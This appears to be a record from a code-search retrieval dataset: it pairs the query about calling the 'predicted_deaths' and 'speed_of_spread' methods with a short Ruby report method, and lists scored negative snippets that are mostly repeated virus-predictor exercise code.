end\n\n q = tab_dist.last/(NBPOINT-1)\n tab_return.push(tab_point[0])\n for i in 1..NBPOINT-1\n\n j = find_elt(tab_dist,q*i)\n\n a = tab_point[j]\n b = tab_point[j+1]\n\n ac = q*i-tab_dist[j]\n ab = a.distPoints(b)\n\n aby = b.y-a.y\n acy = aby*(ac/ab)\n\n abx = b.x-a.x\n acx = abx*(ac/ab)\n\n cx = acx + a.x\n cy = acy + a.y\n tab_return.push(Point.new(cx.to_i, cy.to_i))\n end\n tab_return\n end", "def pieces\n self.cells.values.map {|c| c.piece }.compact.uniq\n end", "def area_span_for_numbered_tile tile\n area_span = create_general_area_span_for_numbered @b_nl[tile[0],tile[1]]\n area_span.map!{|x,y| [(x+tile[0]), (y+tile[1])] }\n area_span.reject!{|x,y| x < 0 || y < 0 || x > (@row_count-1) || y > (@col_count-1)}\n area_span\n end", "def fetch_ranges\n begin\n res = Excon.get(\"#{url}.idx\")\n rescue Excon::Errors::Error\n raise \"Download of '#{url}.idx' failed\"\n end\n lines = res.body.lines.map { |line| line.split(\":\") }\n lines.each_index.each_with_object({}) do |i, ranges|\n # A typical line (before the split on `:`) looks like this:\n # `12:4593854:d=2016051118:TMP:2 mb:9 hour fcst:`\n line = lines[i]\n next_line = lines[i + 1] # NOTE: Will be `nil` on the last line\n\n # The fourth and fifth fields constitue the key to identify the records\n # defined in `Forecaster::Configuration`.\n key = \":#{line[3]}:#{line[4]}:\"\n\n # The second field is the first byte of the record in the GRIB2 file.\n ranges[key] = [line[1].to_i]\n\n # To get the last byte we need to read the next line.\n # If we are on the last line we won't be able to get the last byte,\n # but we don't need it according to the section 14.35.1 Byte Ranges\n # of RFC 2616.\n ranges[key] << next_line[1].to_i - 1 if next_line\n end\n end", "def cells_around cell, opts = {}\n opts.reverse_merge! :include_self => false\n \n ca = [Loc.new(:x => cell.x+1, :y => cell.y),\n Loc.new(:x => cell.x-1, :y => cell.y),\n Loc.new(:x => cell.x, :y => cell.y+1),\n Loc.new(:x => cell.x, :y => cell.y-1)]\n \n # add self if requested\n ca << cell if opts[:include_self] \n ca\n end", "def eyebrows\n @eyebrows ||= begin\n left = Eyebrow.new self[:LEFT_OF_LEFT_EYEBROW],\n self[:LEFT_EYEBROW_UPPER_MIDPOINT],\n self[:RIGHT_OF_LEFT_EYEBROW]\n right = Eyebrow.new self[:LEFT_OF_RIGHT_EYEBROW],\n self[:RIGHT_EYEBROW_UPPER_MIDPOINT],\n self[:RIGHT_OF_RIGHT_EYEBROW]\n Eyebrows.new left, right\n end\n end", "def tile_bounds\n tile = tile_number\n zoom = zoom_level\n sw = ::GeoMonitor::LatLngPoint.from_number(tile[:x], tile[:y], zoom).to_3857\n ne = ::GeoMonitor::LatLngPoint.from_number(tile[:x] + 1, tile[:y] - 1, zoom).to_3857\n self.class.new(\n north: ne.lat,\n east: ne.lng,\n south: sw.lat,\n west: sw.lng\n )\n end", "def surface_bounds\n\n sql = \"select \"\\\n \"min(surface_longitude) as min_longitude, \"\\\n \"min(surface_latitude) as min_latitude, \"\\\n \"max(surface_longitude) as max_longitude, \"\\\n \"max(surface_latitude) as max_latitude \"\\\n \"from well where \"\\\n \"surface_longitude between -180 and 180 and \"\\\n \"surface_latitude between -90 and 90 and \"\\\n \"surface_longitude is not null and \"\\\n \"surface_latitude is not null\"\n\n corners = @gxdb[sql].all[0]\n\n {\n name: \"surface_bounds\",\n location: {\n type: \"polygon\",\n coordinates: [[\n [corners[:min_longitude], corners[:min_latitude]], #LL\n [corners[:min_longitude], corners[:max_latitude]], #UL\n [corners[:max_longitude], corners[:max_latitude]], #UR\n [corners[:max_longitude], corners[:min_latitude]], #LR\n [corners[:min_longitude], corners[:min_latitude]] #LL\n ]]\n }\n }\n end", "def map\n start = self.class.start_index\n (start..max_index).map { |i| yield @subcomposites[i] } if max_index\n end", "def tiles\n return @tiles\n end", "def tiles\n return @tiles\n end", "def map_board\n\t\t@cell_at = []\n\t\t@height.times do |row|\n\t\t\t@cell_at[row] = []\n\t\t\t@width.times do |col|\n\t\t\t\t@cell_at[row][col] = Cell.new\n\t\t\tend\n\t\tend\n\tend", "def extent; @bounds.diagonal; end", "def get_table_contents(&block)\n TableBodyDSL.new(&block).elements\n end", "def range_from_diagram(str_arr, dir, aoe = false)\n \n if !aoe\n @tbs_spec_range = {} \n @tbs_spec_range[dir] = []\n else\n @tbs_aoe_range = {}\n @tbs_aoe_range[dir] = []\n end\n \n ox,oy = -1,-1\n \n # initial pass finds origin\n str_arr.each_with_index do |arr,i|\n arr.each_with_index do |letter,j|\n if TactBattleManager.orig_char?(letter)\n ox, oy = j, i\n end\n end\n end\n \n raise \"Invaid range in db notes for skill #{@id}.\\n\" if ox == -1 || oy == -1\n \n # second pass offsets coordinates based on origin\n str_arr.each_with_index do |arr,i|\n arr.each_with_index do |letter,j|\n \n if TactBattleManager.hit_char?(letter)\n case aoe\n when false # pos relative to player\n @tbs_spec_range[dir].push(Vertex.new(j-ox,i-oy))\n when true\n @tbs_aoe_range[dir].push(Vertex.new(j-ox,i-oy))\n end\n end # if TactBattleManager.hit_char?(letter)\n \n end # arr.each_with_index\n end # str_arr.each_with_index\n \n if aoe\n load_other_ranges(dir, @tbs_aoe_range)\n else\n load_other_ranges(dir, @tbs_spec_range)\n r = @tbs_spec_range\n @tbs_spec_range[:all] = r[:up] + r[:down] + r[:right] + r[:left]\n end\n end", "def selection_range(from, to)\n execute(:selection, :range, from, to)\n end", "def boundaries\n @boundaries ||= Sqed::Boundaries.new(@layout)\n end", "def position_coordinates(character)\n which_row = []\n which_cell = []\n (0...@n).each { |i| prepare_set(i, character, which_row, which_cell) }\n [which_row, which_cell]\n end", "def from_quad_tree_to_tile(qt, zoom)\n tx = 0\n ty = 0\n\n qt = \"0#{qt}\" if qt[0] != ?0\n\n zoom.downto(1) do |i|\n ch = qt[zoom - i].chr\n mask = 1 << (i - 1)\n digit = ch.to_i\n\n tx += mask if digit & 1 > 0\n ty += mask if digit & 2 > 0\n end\n ty = ((1 << zoom) - 1) - ty\n [ tx, ty ]\n end", "def offset_range\n return nil unless original_text\n start_pos.offset...(start_pos.offset + original_text.bytesize)\n end", "def range\n [@from, @to]\n end" ]
[ "0.59189934", "0.5628868", "0.55733085", "0.5564517", "0.54756737", "0.54711795", "0.5434841", "0.541947", "0.5410844", "0.5381737", "0.5369286", "0.5367695", "0.5333022", "0.53319293", "0.52209187", "0.51913506", "0.51913506", "0.51832837", "0.5172692", "0.51633716", "0.5162795", "0.51568645", "0.5155896", "0.5144325", "0.5138979", "0.5110944", "0.50795", "0.50795", "0.50350356", "0.49827248", "0.49818227", "0.49722254", "0.4964575", "0.4945975", "0.49422756", "0.4924808", "0.49039787", "0.49021605", "0.49016383", "0.48902443", "0.48877618", "0.48869836", "0.48818624", "0.48799843", "0.487655", "0.48758933", "0.48588958", "0.48558226", "0.4846604", "0.48447767", "0.4844483", "0.48384127", "0.48319373", "0.48246464", "0.48130763", "0.48108792", "0.4804742", "0.47944343", "0.47933346", "0.47896674", "0.4784162", "0.4780628", "0.4778818", "0.47755048", "0.47715557", "0.47665316", "0.47644797", "0.47618315", "0.4755991", "0.4754049", "0.47534323", "0.47493324", "0.4743578", "0.4743578", "0.47417548", "0.47389764", "0.47351173", "0.4733995", "0.4726763", "0.4723932", "0.4719585", "0.47134852", "0.47055572", "0.47054368", "0.47043297", "0.46990922", "0.46983188", "0.4694504", "0.46846744", "0.46846744", "0.46828678", "0.46765152", "0.46710286", "0.46574324", "0.46566334", "0.4655884", "0.46536928", "0.465229", "0.46452445", "0.4641851" ]
0.66865855
0
calls the 'predicted_deaths' and 'speed_of_spread' methods
def report STATE_DATA.each do |key, value| initialize(key, value[:population_density], value[:population]) virus_effects end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def virus_effects\n speed_of_spread(predicted_deaths()) \n\n end", "def virus_effects \n predicted_deaths(@population_density, @population, @state)\n speed_of_spread(@population_density, @state)\n end", "def virus_effects #looks DRY but not using the full scope of the variables \r\n predicted_deaths\r\n speed_of_spread\r\n end", "def virus_effects\n predicted_deaths(@population_density, @population, @state)\n speed_of_spread(@population_density, @state)\n #predicted_deaths_and_speed(@population_density, @population, @state)\n end", "def virus_effects #HINT: What is the SCOPE of instance variables? these methods can only be used within a virusPredictor class, its scope.\n predicted_deaths(@population_density, @population, @state)\n speed_of_spread(@population_density, @state)\n end", "def predicted_deaths\n # Arguements are initialized as local variables inside a method.\n\n #predicted deaths is solely based on population density\n @number_of_deaths = if @population_density >= 200\n (@population * 0.4).floor\n elsif @population_density >= 150\n (@population * 0.3).floor\n elsif @population_density >= 100\n (@population * 0.2).floor\n elsif @population_density >= 50\n (@population * 0.1).floor\n else\n (@population * 0.05).floor\n end\n\n\n # @number_of_deaths = @population * if @population_density >= 200\n # 0.4\n # elsif @population_density >= 150\n # 0.3\n # elsif @population_density >= 100\n # 0.2\n # elsif @population_density >= 50\n # 0.1\n # else\n # 0.05\n # end\n\n # @number_of_deaths = @number_of_deaths.floor\n # end\n\n # Predicts speed of spread for each state based on population density.\n def speed_of_spread #in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n # @speed = 0.0\n\n if @population_density >= 200\n @speed = 0.5\n elsif @population_density >= 150\n @speed = 1\n elsif @population_density >= 100\n @speed = 1.5\n elsif @population_density >= 50\n @speed = 2\n else\n @speed = 2.5\n end\n end\n\n def print_results\n puts \"#{@state} will lose #{@number_of_deaths} people in this outbreak and will spread across the state in #{@speed} months.\"\n puts \"\\n\"\n end\n\nend", "def predicted_deaths\n # predicted deaths is solely based on population density\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else\n # number_of_deaths = (@population * 0.05).floor\n # end\n\n def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n num = 0.4\n # number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n num = 0.3\n elsif @population_density >= 100\n num = 0.2\n elsif @population_density >= 50\n num = 0.1\n else\n num = 0.5\n end\n number_of_deaths = (@population * num + 1).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end\n #formula by population density that predicts the rate of spread of virus by state pop.\n def speed_of_spread#in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end\n\nend", "def virus_effects #HINT: What is the SCOPE of instance variables? # Helper method used to call the methods down below\n predicted_deaths(@population_density, @population, @state)\n speed_of_spread(@population_density, @state)\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else\n # number_of_deaths = (@population * 0.05).floor\n # end\n \n def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n num = 0.4\n # number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n num = 0.3\n elsif @population_density >= 100\n num = 0.2\n elsif @population_density >= 50\n num = 0.1\n else\n num = 0.5\n end\n number_of_deaths = (@population * num + 1).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end\n #formula by population density that predicts the rate of spread of virus by state pop. \n def speed_of_spread#in months\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n if @population_density >= 200\n speed += 0.5\n elsif @population_density >= 150\n speed += 1\n elsif @population_density >= 100\n speed += 1.5\n elsif @population_density >= 50\n speed += 2\n else\n speed += 2.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end\n\nend", "def virus_effects\n predicted_deaths(@population_density, @population, @state)\n #speed_of_spread(@population_density, @state)\n end", "def virus_effects\n predicted_deaths(@population_density, @population, @state)\n #speed_of_spread(@population_density, @state)\n end", "def virus_effects\n #removed parameters for predicted_deaths and speed_of_spread, as these are class variables and are accessible throughout the method\n predicted_deaths\n speed_of_spread\n end", "def virus_effects\n predicted_deaths(population_density, population, state)\n speed_of_spread(population_density, state)\n end", "def virus_effects\n # This is the beginning of object oriented design.\n predicted_deaths #(@population_density, @population, @state)\n speed_of_spread #(@population_density, @state)\n print_results\n end", "def virus_effects\n predicted_deaths #(@population_density, @population, @state)\n speed_of_spread#(@population_density, @state)\n end", "def virus_effects\n predicted_deaths(@population_density,@population,@state)\n speed_of_spread(@population_density, @state)\n end", "def virus_effects #HINT: What is the SCOPE of instance variables?\n predicted_deaths(@population_density, @population, @state)\n speed_of_spread(@population_density, @state)\n end", "def virus_effects \n predicted_deaths\n speed_of_spread\n end", "def virus_effects\r\n predicted_deaths #(@population_density, @population, @state)\r\n speed_of_spread #(@population_density, @state)\r\n end", "def virus_effects\r\n predicted_deaths #(@population_density, @population, @state)\r\n speed_of_spread #(@population_density, @state)\r\n end", "def virus_effects\r\n predicted_deaths #(@population_density, @population, @state)\r\n speed_of_spread #(@population_density, @state)\r\n end", "def predicted_deaths()\r\n # predicted deaths is solely based on population density\r\n # Not the same as before but more accurate\r\n number_of_deaths = (@population * (@population_density / 500)).floor\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n end", "def virus_effects\n predicted_deaths # (@population_density, @population, @state)\n speed_of_spread # (@population_density, @state)\n end", "def virus_effects\n number_of_deaths = predicted_deaths\n speed = speed_of_spread\n print_results(number_of_deaths, speed)\n\n end", "def virus_effects\r\n predicted_deaths\r\n #delete the passing arguments, not necessary since all of them are instance variable\r\n #(@population_density, @population, @state)\r\n speed_of_spread\r\n #this one too\r\n #(@population_density, @state)\r\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n case @population_density\n when 0...50 then number_of_deaths = calc_density(0.05)\n when 50...100 then number_of_deaths = calc_density(0.1)\n when 100...150 then number_of_deaths = calc_density(0.2)\n when 150...200 then number_of_deaths = calc_density(0.3)\n else number_of_deaths = calc_density(0.4)\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def virus_effects\n predicted_deaths\n speed_of_spread\n end", "def virus_effects\n predicted_deaths\n speed_of_spread\n end", "def virus_effects\n predicted_deaths\n speed_of_spread\n end", "def virus_effects\n predicted_deaths\n speed_of_spread\n end", "def virus_effects\n predicted_deaths\n speed_of_spread\n end", "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n number_of_deaths=0\r\n density=[200,150,100,50,0]\r\n death_percentage=[0.4, 0.3, 0.2, 0.1, 0.05]\r\n\r\n density.each_index do |index|\r\n if @population_density >= density[index]\r\n number_of_deaths = (@population * death_percentage[index]).floor\r\n break\r\n end\r\n end\r\n=begin\r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4).floor\r\n elsif @population_density >= 150\r\n number_of_deaths = (@population * 0.3).floor\r\n elsif @population_density >= 100\r\n number_of_deaths = (@population * 0.2).floor\r\n elsif @population_density >= 50\r\n number_of_deaths = (@population * 0.1).floor\r\n else\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n=end\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "def virus_effects\n predicted_deaths#(population_density, population, state)\n\n speed_of_spread#(population_density, state)\n # predicted_deaths(@population_density, @population, @state)\n # speed_of_spread(@population_density, @state)\n end", "def virus_effects #HINT: What is the SCOPE of instance variables?\n predicted_deaths(@population_density, @population, @state)\n speed_of_spread(@population_density)\n end", "def virus_effects\n predicted_deaths \n speed_of_spread \n end", "def virus_effects\n predicted_deaths \n speed_of_spread \n end", "def virus_effects\n predicted_deaths(@population_density, @population, @state)\n speed_of_spread(@population_density, @state)\n end", "def virus_effects\n predicted_deaths(@population_density, @population, @state)\n speed_of_spread(@population_density, @state)\n end", "def virus_effects\n predicted_deaths(@population_density, @population, @state)\n speed_of_spread(@population_density, @state)\n end", "def virus_effects\n predicted_deaths(@population_density, @population, @state)\n speed_of_spread(@population_density, @state)\n end", "def virus_effects\n predicted_deaths(@population_density, @population, @state)\n speed_of_spread(@population_density, @state)\n end", "def virus_effects\n predicted_deaths(@population_density, @population, @state)\n speed_of_spread(@population_density, @state)\n end", "def virus_effects \n predicted_deaths \n speed_of_spread\n end", "def virus_effects\n predicted_deaths\n speed_of_spread\n print_results\n end", "def virus_effects\n print predicted_deaths\n puts speed_of_spread\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n \n if @population_density >= 200\n number_of_deaths = num_death_setter(0.4)\n elsif @population_density >= 150\n number_of_deaths = num_death_setter(0.3)\n elsif @population_density >= 100\n number_of_deaths = num_death_setter(0.2)\n elsif @population_density >= 50\n number_of_deaths = num_death_setter(0.1)\n else\n number_of_deaths = num_death_setter(0.5)\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def virus_effects\r\n # predicted_deaths(@population_density, @population, @state)\r\n # speed_of_spread(@population_density, @state)\r\n predicted_deaths\r\n speed_of_spread\r\n end", "def virus_effects\n predicted_deaths #(@population_density, @population, @state)\n speed_of_spread #(@population_density, @state)\n end", "def virus_effects\n predicted_deaths #(@population_density, @population, @state)\n speed_of_spread #(@population_density, @state)\n end", "def virus_effects\n predicted_deaths #(@population_density, @population, @state)\n speed_of_spread #(@population_density, @state)\n end", "def virus_effects\n predicted_deaths #(@population_density, @population, @state)\n speed_of_spread #(@population_density, @state)\n end", "def virus_effects\n predicted_deaths #(@population_density, @population, @state)\n speed_of_spread #(@population_density, @state)\n end", "def virus_effects\n predicted_deaths #(@population_density, @population, @state)\n speed_of_spread #(@population_density, @state)\n end", "def virus_effects\n predicted_deaths #(@population_density, @population, @state)\n speed_of_spread #(@population_density, @state)\n end", "def virus_effects\n predicted_deaths #(@population_density, @population, @state)\n speed_of_spread #(@population_density, @state)\n end", "def virus_effects\n predicted_deaths()\n speed_of_spread()\n end", "def virus_effects\n predicted_deaths()\n speed_of_spread()\n end", "def virus_effects\n predicted_deaths()\n speed_of_spread()\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else\n # number_of_deaths = (@population * 0.05).floor\n # end\n\n #defined number in original if else method as death ratio (aka .4 or .3 or .2)\n #changed the death ratio from a discrete range od numbers to a continuous funtion\n #using the equation for a line to get more accurate number of deaths\n #b = .05\n #y = @population_density\n #x = death_ration\n # m = 571\n # x = y/m - b\n\n death_ratio = @population_density / 571\n if death_ratio > 1\n death_ratio = 0.99\n end\n\n number_of_deaths = (@population * death_ratio).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def virus_effects\n predicted_deaths #(@population_density, @population, @state)\n speed_of_spread #(@population_density, @state)\n end", "def virus_effects\n # predicted_deaths(@population_density, @population, @state)\n # speed_of_spread(@population_density, @state)\n predicted_deaths\n speed_of_spread\n end", "def virus_effects\n\n predicted_deaths(@population_density, @population)\n speed_of_spread(@population_density)\n end", "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n\r\n coefficient = case @population_density\r\n when 200..15000 then 0.4\r\n when 150..199 then 0.3\r\n when 100..149 then 0.2\r\n when 50..99 then 0.1\r\n else 0.05\r\n end\r\n\r\n number_of_deaths = @population * coefficient\r\n print \"#{@state} will lose #{number_of_deaths.floor} people in this outbreak\"\r\n\r\n end", "def virus_effects\r\n predicted_deaths()\r\n speed_of_spread()\r\n end", "def virus_effects\r\n predicted_deaths()\r\n speed_of_spread()\r\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n population_hash = {200 => 0.4, 150 => 0.3, 100 => 0.2, 50=> 0.1, 49 => 0.05}\n population_hash.each do |population, multi|\n if @population_density >= population\n number_of_deaths = num_deaths(multi)\n end\n end\n # if @population_density >= 200\n # number_of_deaths = num_deaths(0.4)\n # elsif @population_density >= 150\n # number_of_deaths = num_deaths(0.3)\n # elsif @population_density >= 100\n # number_of_deaths = num_deaths(0.2)\n # elsif @population_density >= 50\n # number_of_deaths = num_deaths(0.1)\n # else\n # number_of_deaths = num_deaths(0.05)\n # end\n\n \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def virus_effects\n predicted_deaths \n speed_of_spread\n end", "def virus_effects\n predicted_deaths\n speed_of_spread\nend", "def predicted_deaths\r\n # predicted deaths is solely based on population density \r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4).floor\r\n elsif @population_density < 50\r\n number_of_deaths = (@population * 0.05).floor\r\n else\r\n increment = (@population_density/50).floor\r\n number_of_deaths=(@population * (increment * 0.1)).floor\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "def virus_effects \n # predicted_deaths(@population_density, @population, @state) - ORIGINAL\n # speed_of_spread(@population_density, @state) - ORIGINAL\n # REFACTOR\n predicted_deaths\n speed_of_spread\n end", "def virus_effects\n predicted_deaths(@state_density, @population)\n speed_of_spread(@state_density)\n end", "def virus_effects\n predicted_deaths\n speed_of_spread\n print\n end", "def virus_effects\n predicted_deaths\n speed_of_spread\n print\n end", "def predicted_deaths()\n # predicted deaths is solely based on population density\n if @population_density >= 200\n death_factor = 0.4\n # number_of_deaths = (@population * 0.4).floor\n elsif @population_density >= 150\n death_factor = 0.3\n # number_of_deaths = (@population * 0.3).floor\n elsif @population_density >= 100\n death_factor = 0.2\n # number_of_deaths = (@population * 0.2).floor\n elsif @population_density >= 50\n death_factor = 0.1\n # number_of_deaths = (@population * 0.1).floor\n else\n death_factor = 0.05\n # number_of_deaths = (@population * 0.05).floor\n end\n number_of_deaths = (@population * death_factor).floor\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n factor = 0.4\n elsif @population_density >= 150\n factor = 0.3\n elsif @population_density >= 100\n factor = 0.2\n elsif @population_density >= 50\n factor = 0.1\n else\n factor = 0.05\n end\n number_of_deaths = (@population * factor).floor\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak and will spread across the state in #{@speed} months.\\n\\n\"\n end", "def predicted_deaths()\r\n # predicted deaths is solely based on population density\r\n\r\n#refractor\r\n case\r\n when @population_density >= 200 then number_of_deaths = (@population * 0.4).floor\r\n when @population_density >= 150 then number_of_deaths = (@population * 0.3).floor\r\n when @population_density >= 100 then number_of_deaths = (@population * 0.2).floor\r\n when @population_density >= 50 then number_of_deaths = (@population * 0.1).floor\r\n else number_of_deaths = (@population * 0.05).floor\r\n end\r\n #\r\n # if @population_density >= 200\r\n # number_of_deaths = (@population * 0.4).floor\r\n # elsif @population_density >= 150\r\n # number_of_deaths = (@population * 0.3).floor\r\n # elsif @population_density >= 100\r\n # number_of_deaths = (@population * 0.2).floor\r\n # elsif @population_density >= 50\r\n # number_of_deaths = (@population * 0.1).floor\r\n # else\r\n # number_of_deaths = (@population * 0.05).floor\r\n # end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n if @population_density > 200\r\n number_of_deaths = (@population * 0.4).floor\r\n elsif @population_density <= 200 && @population_density >= 50\r\n number_of_deaths = @population * ((@population_density/50) * 0.1).floor\r\n else\r\n number_of_deaths = (@population * 0.05).floor\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n prediction = 0.4\n elsif @population_density >= 150\n prediction = 0.3\n elsif @population_density >= 100\n prediction = 0.2\n elsif @population_density >= 50\n prediction = 0.1\n else\n prediction = 0.05\n end\n\n print \"#{@state} will lose #{(prediction * @population).floor} people in this outbreak\"\n\n end", "def speed_of_spread(predicted_deaths)\n # We are still perfecting our formula here. The speed is also affected\n # by additional factors we haven't added into this functionality.\n speed = 0.0\n\n # I neatened this up, but didn't make another method since it doesn't calculate. \n case @population_density \n\n when 0...50 then speed += 2.5\n when 50...100 then speed += 2.0\n when 100...150 then speed += 1.5\n when 150...200 then speed += 1.0\n else speed += 0.5\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end", "def virus_effects #HINT: What is the SCOPE of instance variables?\n predicted_deaths\n speed_of_spread\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n number_of_deaths = (@population * (@population_density/500)).floor\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n death_multiplier = {0 => 0.05, 50 => 0.1, 100 => 0.2, 150 => 0.3, 200 => 0.4}\n death_multiplier.each do |density, multiplier|\n if @population_density >= density\n @number_of_deaths = (@population * multiplier).floor\n end\n \n end\n # if @population_density >= 200\n # number_of_deaths = (@population * 0.4).floor\n # elsif @population_density >= 150\n # number_of_deaths = (@population * 0.3).floor\n # elsif @population_density >= 100\n # number_of_deaths = (@population * 0.2).floor\n # elsif @population_density >= 50\n # number_of_deaths = (@population * 0.1).floor\n # else\n # number_of_deaths = (@population * 0.05).floor\n # end\n print \"#{@state} will lose #{@number_of_deaths} people in this outbreak\"\n end", "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4)\r\n elsif @population_density >= 150\r\n number_of_deaths = (@population * 0.3)\r\n elsif @population_density >= 100\r\n number_of_deaths = (@population * 0.2)\r\n elsif @population_density >= 50\r\n number_of_deaths = (@population * 0.1)\r\n else\r\n number_of_deaths = (@population * 0.05)\r\n end\r\n\r\n print \"#{@state} will lose #{number_of_deaths.floor} people in this outbreak\"\r\n\r\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if (@population_density >= 50) && (@population_density < 200)\n death_rate = ((@population_density / 50).floor).to_f\n number_of_deaths = ((death_rate / 10) * @population).to_i\n elsif @population_density >= 200\n number_of_deaths = (@population * 0.4).floor\n else\n number_of_deaths = (@population * 0.05).floor\n end\n\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\n\n end", "def virus_effects\r\n #predicted_deaths #(@population_density, @population, @state)\r\n #speed_of_spread #(@population_density, @state)\r\n\r\n if @population_density >= 200\r\n predicted_deaths(@population, 0.4)\r\n speed_of_spread(0.5)\r\n elsif @population_density >= 150\r\n predicted_deaths(@population, 0.3)\r\n speed_of_spread(1)\r\n elsif @population_density >= 100\r\n predicted_deaths(@population, 0.2)\r\n speed_of_spread(1.5)\r\n elsif @population_density >= 50\r\n predicted_deaths(@population, 0.1)\r\n speed_of_spread(2.0)\r\n else\r\n predicted_deaths(@population, 0.05)\r\n speed_of_spread(2.5)\r\n end\r\n\r\n end", "def virus_effects\n predicted_deaths + speed_of_spread\n end", "def predicted_deaths\r\n\r\n #(population_density, population, state) <--- deleted, not necessary\r\n # predicted deaths is solely based on population density\r\n\r\n #idx = 0.4 if population_density >= 200\r\n #idx = 0.3 if population_density >= 150\r\n \r\n case population_density\r\n when 0..49 then idx = 0.05\r\n when 50..99 then idx = 0.1\r\n when 100..150 then idx = 0.2\r\n when 151..200 then idx = 0.3\r\n else idx = 0.4\r\n end\r\n\r\n\r\n # if population_density >= 200\r\n # idx = 0.4\r\n # #number_of_deaths = (population * 0.4).floor\r\n # elsif population_density >= 150\r\n # idx = 0.3\r\n # #number_of_deaths = (population * 0.3).floor\r\n # elsif population_density >= 100\r\n # idx = 0.2\r\n # #number_of_deaths = (population * 0.2).floor\r\n # elsif population_density >= 50\r\n # idx = 0.1\r\n # #number_of_deaths = (population * 0.1).floor\r\n # else\r\n # idx = 0.05\r\n # #number_of_deaths = (population * 0.05).floor\r\n # end\r\n\r\n number_of_deaths = (population * idx).floor\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n if @population_density >= 200\r\n death_factor = 0.4\r\n elsif @population_density >= 150\r\n death_factor = 0.3\r\n elsif @population_density >= 100\r\n death_factor = 0.2\r\n elsif @population_density >= 50\r\n death_factor = 0.1\r\n else\r\n death_factor = 0.05\r\n end\r\n number_of_deaths = (@population * death_factor).floor\r\n\r\n print \"#{@state} will lose #{number_of_deaths} people in this outbreak\"\r\n\r\n end", "def predicted_deaths\n # predicted deaths is solely based on population density\n if @population_density >= 200\n factor = 0.4\n elsif @population_density >= 150\n factor = 0.3\n elsif @population_density >= 100\n factor = 0.2\n elsif @population_density >= 50\n factor = 0.1\n else\n factor = 0.05\n end\n\n print \"#{@state} will lose #{(@population * factor).floor} people in this outbreak\"\n\n end", "def virus_effects\r\n predicted_deaths\r\n speed_of_spread\r\n end", "def virus_effects\n predicted_deaths\n speed_of_spread\n end", "def virus_effects\n predicted_deaths(@population_density, @population)\n speed_of_spread(@population_density)\n # Deleted out @state because it isn't being used in either method\n end", "def predicted_deaths\r\n # predicted deaths is solely based on population density\r\n if @population_density >= 200\r\n number_of_deaths = (@population * 0.4)\r\n elsif @population_density >= 150\r\n number_of_deaths = 